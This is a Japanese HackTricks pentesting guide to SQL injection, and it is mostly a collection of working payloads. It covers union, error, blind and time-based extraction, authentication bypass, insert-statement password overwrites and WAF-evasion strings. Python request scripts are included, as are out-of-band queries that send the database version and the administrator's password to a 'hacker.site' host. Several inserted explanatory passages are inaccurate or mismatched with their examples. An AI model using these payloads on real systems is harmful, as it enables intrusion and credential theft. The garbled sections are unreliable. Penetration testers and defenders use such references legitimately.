hacktricks/pentesting-web/sql-injection/README.md
2023-07-07 23:42:27 +00:00

42 KiB
Raw Blame History

SQLインジェクション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

RootedCONは、スペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。この大会は、技術的な知識を促進することを目的としており、あらゆる分野の技術とサイバーセキュリティの専門家のための活気ある交流の場です。

{% embed url="https://www.rootedcon.com/" %}

SQLインジェクションとは

SQLインジェクションは、アプリケーションがデータベースに対して行うクエリに干渉することができるウェブセキュリティの脆弱性です。通常は取得できないデータを閲覧することができます。これには、他のユーザーに属するデータや、アプリケーション自体がアクセスできる他のデータが含まれる場合があります。多くの場合、攻撃者はこのデータを変更または削除することができ、アプリケーションのコンテンツや動作に持続的な変更を引き起こすことができます。
一部の状況では、攻撃者はSQLインジェクション攻撃をエスカレートさせて、基礎となるサーバーまたは他のバックエンドインフラストラクチャを侵害したり、サービス妨害攻撃を実行したりすることができます。(ここから

この記事では、SQLインジェクションの可能性があると仮定し、SQLインジェクションを確認し、データベースを調査し、アクションを実行するための可能な方法について説明します。

エントリーポイントの検出

SQLi関連の入力でサーバーが異常な動作をするため、SQLに脆弱なサイトを見つけたかもしれません。したがって、最初に行うべきことは、クエリにデータを注入する方法を見つけることです。 そのためには、まず現在のコンテキストから脱出する方法を見つける必要があります。
以下はいくつかの有用な例です:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

次に、クエリを修正する方法を知る必要があります。クエリを修正するためには、新しいデータを入力して前のクエリが新しいデータを受け入れるようにするか、単にデータを入力してコメント記号を末尾に追加することができます。

エラーメッセージが表示される場合や、クエリが動作しているときと動作していないときに違いが見られる場合、このフェーズはより簡単になります。

コメント

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

論理演算子を使用して確認する

SQLインジェクションを確認する最も良い方法の1つは、論理演算子を操作させ、期待される結果を得ることです。
例えば、GETパラメータ?username=Peter?username=Peter' or '1'='1と同じコンテンツを返す場合、SQLインジェクションが見つかりました。

また、この概念を数学演算にも適用することができます。例えば、?id=1?id=2-1と同じ結果を返す場合、SQLインジェクションです。

page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false

このワードリストは、提案された方法でSQLインジェクションを確認するために作成されました

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

タイミングでの確認

いくつかの場合、テストしているページには変化が見られないことがあります。そのため、盲目的なSQLインジェクションを発見する良い方法は、データベースにアクションを実行させ、ページの読み込みに時間の影響を与えることです。
したがって、SQLクエリに完了に時間がかかる操作を連結させることにします

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

いくつかの場合、sleep関数は許可されないかもしれません。その場合、これらの関数を使用する代わりに、複雑な操作を実行するクエリを作成することができます。これらのテクニックの例は、各テクノロジーごとに別々にコメントされます(あれば)

バックエンドの特定

バックエンドを特定する最良の方法は、さまざまなバックエンドの関数を実行してみることです。前のセクションの_sleep_ 関数または次の関数を使用できます:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

また、クエリの出力にアクセスできる場合、データベースのバージョンを表示することができます。

{% hint style="info" %} 続いて、異なる種類のSQLインジェクションを悪用するための異なる方法について説明します。ここではMySQLを例にします。 {% endhint %}

PortSwiggerを使用した特定

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

Union Basedの悪用

列の数を検出する

クエリの出力を見ることができる場合、これが最も効果的な悪用方法です。
まず、初期リクエストが返す列の数を見つける必要があります。これは、両方のクエリが同じ数の列を返す必要があるためです。
通常、次の2つの方法が使用されます。

Order/Group by

偽の応答が得られるまで、数を増やし続けます。GROUP BYとORDER BYはSQLで異なる機能を持っていますが、クエリの列の数を決定するためにまったく同じ方法で使用することができます。

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

クエリが正しくなるまで、null値を選択し続けます

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

いくつかの場合、クエリの両側の列の型は同じでなければならず、nullはすべての場合で有効ですので、null値を使用する必要があります。

データベース名、テーブル名、列名の抽出

次の例では、すべてのデータベースの名前、データベースのテーブル名、テーブルの列名を取得します。

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

データベースごとにこのデータを発見するための異なる方法がありますが、常に同じ方法論があります。

隠れたユニオンベースの攻撃を悪用する

クエリの出力を見ることはできますが、ユニオンベースのインジェクションを達成することができない場合、隠れたユニオンベースのインジェクションに対処しています。
この状況では、ブラインドインジェクションになります。ブラインドインジェクションをユニオンベースのインジェクションに変換するには、バックエンドで実行されているクエリを抽出する必要があります。
これを行うには、ブラインドインジェクションとターゲットDBMSのデフォルトテーブルを使用します。これらのデフォルトテーブルについては、ターゲットDBMSのドキュメントを参照してください。
クエリを抽出した後、ペイロードを適切に調整し、元のクエリを安全に閉じます。その後、ペイロードにユニオンクエリを追加し、新たに取得したユニオンベースのインジェクションを悪用します。

完全な記事: https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f

エラーベースの攻撃を悪用する

何らかの理由でクエリの出力を見ることができないが、エラーメッセージを見ることができる場合、このエラーメッセージを使用してデータベースからデータを外部に持ち出すことができます。
ユニオンベースの攻撃と同様のフローに従うことで、DBをダンプすることができます。

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Blind SQLiの悪用

この場合、クエリの結果やエラーを見ることはできませんが、ページには異なるコンテンツが表示されるため、クエリがtrueまたはfalseの応答を返すときを区別することができます。
この場合、その動作を悪用してデータベースを1文字ずつダンプすることができます。

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

エラーブラインドSQLiの悪用

これは前と同じケースですが、クエリからの真偽の応答を区別する代わりに、SQLクエリのエラーの有無おそらくHTTPサーバーがクラッシュするためを区別することができます。したがって、この場合、正しく文字を推測するたびにSQLエラーを強制することができます。

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

タイムベースのSQLiの悪用

この場合、ページのコンテキストに基づいてクエリの応答を区別する方法はありません。ただし、推測した文字が正しい場合、ページの読み込みに時間がかかるようにすることができます。以前にタイミングを使用してSQLiの脆弱性を確認するためにこのテクニックをすでに見てきました。

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

スタックされたクエリ

スタックされたクエリを使用すると、連続して複数のクエリを実行することができます。ただし、後続のクエリが実行される間、結果はアプリケーションに返されません。したがって、このテクニックは主に、DNSルックアップ、条件付きエラー、または時間の遅延をトリガーするために2番目のクエリを使用できるブラインドの脆弱性に関連して使用されます。

OracleスタックされたクエリをサポートしていませんMySQL、Microsoft、およびPostgreSQLはサポートしています:ここにクエリ1; ここにクエリ2

アウトオブバンド攻撃

他のいかなる攻撃手法も機能しなかった場合、データベースが情報をあなたが制御する外部ホストに外部流出させることを試すことができます。たとえば、DNSクエリを介して行います

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXEを利用した帯域外データのエクスフィルトレーション

XXEXML外部エンティティは、Webアプリケーションにおけるセキュリティ脆弱性の一つです。この脆弱性を利用することで、攻撃者はXMLパーサーを通じて外部エンティティを読み込むことができます。このテクニックを使用して、攻撃者は帯域外データのエクスフィルトレーションデータの盗み出しを行うことができます。

攻撃者は、以下の手順に従ってXXEを利用した帯域外データのエクスフィルトレーションを実行します。

  1. 攻撃者は、ターゲットのWebアプリケーションに対してXXEペイロードを送信します。
  2. XXEペイロードは、攻撃者が制御する外部エンティティを参照します。
  3. 外部エンティティは、攻撃者が指定したデータを含むレスポンスを返します。
  4. 攻撃者は、このレスポンスを帯域外のサーバーに送信します。

このようにして、攻撃者はXXEを利用してデータを盗み出すことができます。XXEの脆弱性を防ぐためには、適切な入力検証とXMLパーサーのセキュリティ設定が必要です。

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

自動化された攻撃手法

sqlmapを使用してSQLiの脆弱性を悪用するために、SQLMapチートシートを参照してください。

テクノロジー固有の情報

SQLインジェクションの脆弱性を悪用する方法については、すでにすべて説明しました。以下の書籍では、データベースのテクロジーに依存したさらなるトリックを見つけることができます

また、https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injectionには、MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する多くのトリックがあります

RootedCONは、スペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術的な知識を促進することを使命としているこの会議は、あらゆる分野の技術とサイバーセキュリティの専門家のための活気ある交流の場です。

{% embed url="https://www.rootedcon.com/" %}

認証バイパス

ログイン機能をバイパスするために試すリスト:

{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

認証バイパスRaw MD5

Raw MD5が使用されている場合、パスワードは16進数ではなく、単純な文字列としてクエリされます。

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

攻撃者が ' or 'SOMETHING のような true 文を作成できるようにする。

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>

チャレンジのデモはhttp://web.jarvisoj.com:32772で利用可能です。

ハッシュ認証バイパス

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

推奨リスト

ユーザー名としてリストの各行を使用し、パスワードは常に Pass1234. としてください。
(これらのペイロードは、このセクションの最初に言及された大きなリストにも含まれています)

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

GBK認証バイパス

もし ' がエスケープされている場合は %A8%27 を使用し、' がエスケープされると 0xA80x5c0x27 (╘') が作成されます。

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
import requests

def sql_injection(url, payload):
    # Construct the SQL injection payload
    payload = f"' OR {payload} -- "

    # Send the request with the payload
    response = requests.get(url + payload)

    # Check if the response indicates a successful SQL injection
    if "Error" in response.text:
        print("SQL injection successful!")
    else:
        print("SQL injection failed.")

# Example usage
url = "https://example.com/login"
payload = "1=1"
sql_injection(url, payload)
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

ポリグロットインジェクション(マルチコンテキスト)

Polyglot injection, also known as multicontext injection, is a technique used in SQL injection attacks to exploit multiple database management systems (DBMS) simultaneously. This technique involves crafting a malicious payload that can be interpreted as valid SQL code by different DBMS, allowing the attacker to target multiple systems with a single injection.

ポリグロットインジェクション、またはマルチコンテキストインジェクションは、SQLインジェクション攻撃で使用される技術であり、複数のデータベース管理システムDBMSを同時に攻撃するために使用されます。この技術では、悪意のあるペイロードを作成し、異なるDBMSによって有効なSQLコードとして解釈されるようにすることで、攻撃者は単一のインジェクションで複数のシステムを標的にすることができます。

By leveraging the syntax and functions supported by multiple DBMS, an attacker can create a payload that works across different systems. This allows the attacker to exploit vulnerabilities in various DBMS, even if they have different SQL syntax or features.

複数のDBMSがサポートする構文や関数を活用することで、攻撃者は異なるシステム間で動作するペイロードを作成することができます。これにより、攻撃者は異なるSQL構文や機能を持つ場合でも、さまざまなDBMSの脆弱性を悪用することができます。

Polyglot injection is a powerful technique as it allows the attacker to target a wide range of systems with a single payload. However, crafting a polyglot payload can be challenging, as it requires a deep understanding of the syntax and features of multiple DBMS.

ポリグロットインジェクションは、単一のペイロードで広範なシステムを標的にすることができるため、非常に強力な技術です。ただし、ポリグロットペイロードの作成は難しい場合があります。なぜなら、複数のDBMSの構文や機能についての深い理解が必要だからです。

It is important for developers and security professionals to be aware of the risks associated with polyglot injection and implement proper input validation and parameterized queries to mitigate the risk of SQL injection attacks.

ポリグロットインジェクションに関連するリスクについての認識を持ち、適切な入力検証とパラメータ化されたクエリを実装することは、開発者やセキュリティ専門家にとって重要です。これにより、SQLインジェクション攻撃のリスクを軽減することができます。

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert文

既存のオブジェクト/ユーザーのパスワードを変更する

これを行うには、おそらく管理者(ユーザーの場合)と同じ名前の**「マスターオブジェクト」として新しいオブジェクトを作成**し、何かを変更する必要があります。

  • 名前が「AdMIn」大文字と小文字が混在のユーザーを作成します。
  • 名前が「admin =」のユーザーを作成します。
  • SQL Truncation Attack(ユーザー名またはメールに文字数制限がある場合)--> 名前が「admin [たくさんのスペース] a」のユーザーを作成します。

SQL Truncation Attack

データベースが脆弱で、ユーザー名の最大文字数が例えば30であり、ユーザーadminをなりすます場合、ユーザー名を「"admin [30スペース] a"」として、任意のパスワードを設定して作成してみてください。

データベースは、入力されたユーザー名がデータベース内に存在するかどうかをチェックします。もし存在しない場合、ユーザー名を許可された最大文字数(この場合は「"admin [25スペース]"」)まで切り詰め、そしてデータベース内のユーザー「admin」の新しいパスワードである末尾のスペースを自動的に削除して更新します(エラーが発生することもありますが、これは機能していないことを意味しません)。

詳細情報:https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

注: 最新のMySQLインストールでは、上記の説明通りにはこの攻撃は機能しなくなりました。比較はまだ末尾の空白をデフォルトで無視しますが、フィールドの長さよりも長い文字列を挿入しようとするとエラーが発生し、挿入は失敗します。詳細については、 https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation__

MySQL Insert time based checking

VALUESステートメントを終了するために、','',''を適当な回数追加します。遅延が発生した場合、SQLインジェクションが存在します。

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

ON DUPLICATE KEY UPDATEキーワードは、MySQLに対して、アプリケーションが既にテーブルに存在する行を挿入しようとした場合に何をするかを指示するために使用されます。これを使用して、管理者パスワードを変更することができます。以下の手順に従ってください

INSERT INTO users (id, username, password) VALUES (1, 'admin', 'new_password')
ON DUPLICATE KEY UPDATE password = 'new_password';

このクエリは、usersテーブルにidが1でusernameが'admin'の行が既に存在する場合、その行のpasswordを'new_password'に更新します。存在しない場合は、新しい行を挿入します。

Inject using payload:
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --

The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");

This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".

After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!

情報の抽出

同時に2つのアカウントを作成する

新しいユーザーとユーザー名、パスワード、メールが必要な場合、以下のようになります:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

10進数または16進数を使用する

このテクニックを使用すると、1つのアカウントの作成だけで情報を抽出することができます。コメントを追加する必要はないことに注意してください。

hex2decsubstrを使用する:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

テキストを取得するには、次のコードを使用します:

__import__('binascii').unhexlify(hex(215573607263)[2:])

hexreplace(およびsubstr)を使用する方法:

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

RootedCONスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術的な知識を促進することを使命としており、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための活気ある交流の場です。

{% embed url="https://www.rootedcon.com/" %}

ルーテッドSQLインジェクション

ルーテッドSQLインジェクションは、出力を生成するクエリではなく、インジェクション可能なクエリの出力が出力を生成するクエリに入力される状況です。 (論文)

例:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAFバイパス

スペースなしバイパス

スペースなし(%20- 空白の代替手段を使用したバイパス

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - コメントを使用してバイパスする

いくつかの場合では、SQLインジェクションの攻撃を実行する際に、スペースや改行を使用することができません。しかし、代わりにコメントを使用することで、この制限を回避することができます。

以下の例を見てみましょう。

SELECT/**/username/**/FROM/**/users/**/WHERE/**/id=1

このクエリでは、スペースがコメントに置き換えられています。これにより、攻撃者はスペースを使用せずにSQLインジェクションを実行することができます。

このテクニックは、スペースや改行を制限された環境での攻撃に非常に有用です。ただし、注意が必要です。コメント内には、攻撃者が意図しないコードを実行する可能性があるため、慎重に使用する必要があります。

このテクニックを使用する際には、以下のポイントに注意してください。

  • コメントの開始と終了の記号を正しく使用してください。一般的には、/**/を使用します。
  • コメント内には、攻撃者が実行したいコードが含まれていないことを確認してください。
  • コメント内には、攻撃者が意図しないコードを実行する可能性があるため、慎重に使用してください。

このテクニックを使用することで、スペースや改行が制限された環境でもSQLインジェクション攻撃を実行することができます。ただし、注意が必要なので、慎重に使用してください。

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - パレンテシスを使用してバイパスする

このテクニックは、SQLインジェクションのフィルタリングによってスペースが禁止されている場合に使用されます。スペースを使用せずにSQLクエリを実行するために、パレンテシスを使用してバイパスします。

以下は、このテクニックの例です。

SELECT/**/username/**/FROM/**/users/**/WHERE/**/id=1

このクエリは、スペースを使用せずにSELECT username FROM users WHERE id=1と同等の結果を返します。

パレンテシスは、スペースの代わりに使用されるため、フィルタリングされている場合でもクエリを実行することができます。ただし、パレンテシスを使用する場合は、SQL文の構文が正しいことを確認する必要があります。

このテクニックを使用する際には、以下のポイントに注意してください。

  • パレンテシスを使用する前に、SQL文の構文を理解してください。
  • パレンテシスを使用する際には、適切な位置に配置してください。
  • パレンテシスを使用する際には、SQL文の構文が正しいことを確認してください。

このテクニックを使用することで、スペースが禁止されている場合でもSQLインジェクションを実行することができます。ただし、常に慎重に使用し、適切な検証を行ってください。

?id=(1)and(1)=(1)--

コンマ回避

コンマを使用せずに、OFFSET、FROM、JOINを使用して回避します。

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

一般的なバイパス方法

キーワードのブラックリスト - 大文字/小文字を使用してバイパスする

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

ブラックリストのキーワードを大文字小文字を区別せずに使用する - 同等の演算子を使用してバイパスする

ブラックリストには、SQLインジェクション攻撃を防ぐために禁止されたキーワードが含まれています。通常、ブラックリストは大文字小文字を区別しますが、同等の演算子を使用することで回避することができます。

例えば、ブラックリストには「SELECT」というキーワードが含まれているとします。この場合、以下のような同等の演算子を使用してバイパスすることができます。

  • sElEcT:大文字小文字を混在させることでキーワードを回避します。
  • SeLeCt:大文字小文字をランダムに変更することでキーワードを回避します。
  • SEL\ECT:バックスラッシュを使用してキーワードを回避します。

同様に、他のキーワードも同じ方法で回避することができます。ただし、同等の演算子を使用する場合は、キーワードの意味を変えないように注意する必要があります。

この方法を使用することで、ブラックリストに含まれるキーワードを回避し、SQLインジェクション攻撃を実行することができます。ただし、セキュリティ上のリスクを理解し、適切な許可を得た場合にのみ使用してください。

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

科学的表記 WAF バイパス

このトリックの詳細な説明は、gosecure ブログで見つけることができます。
基本的に、WAF をバイパスするために予期しない方法で科学的表記を使用することができます。

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

カラム名の制限をバイパスする

まず、もし元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合、単に 0 UNION SELECT * FROM flag とするだけで可能です。

カラム名を使用せずにテーブルの3番目のカラムにアクセスすることも可能です。以下のようなクエリを使用します: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;。したがって、SQLインジェクションでは次のようになります:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

または、カンマバイパスを使用することもできます。

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

このトリックはhttps://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/から取得されました。

WAFバイパス提案ツール

{% embed url="https://github.com/m4ll0k/Atlas" %}

その他のガイド

ブルートフォース検出リスト

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

RootedCONは、スペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。この大会は、技術的な知識を促進することを使命としており、あらゆる分野の技術とサイバーセキュリティの専門家にとっての活気ある交流の場です。

{% embed url="https://www.rootedcon.com/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥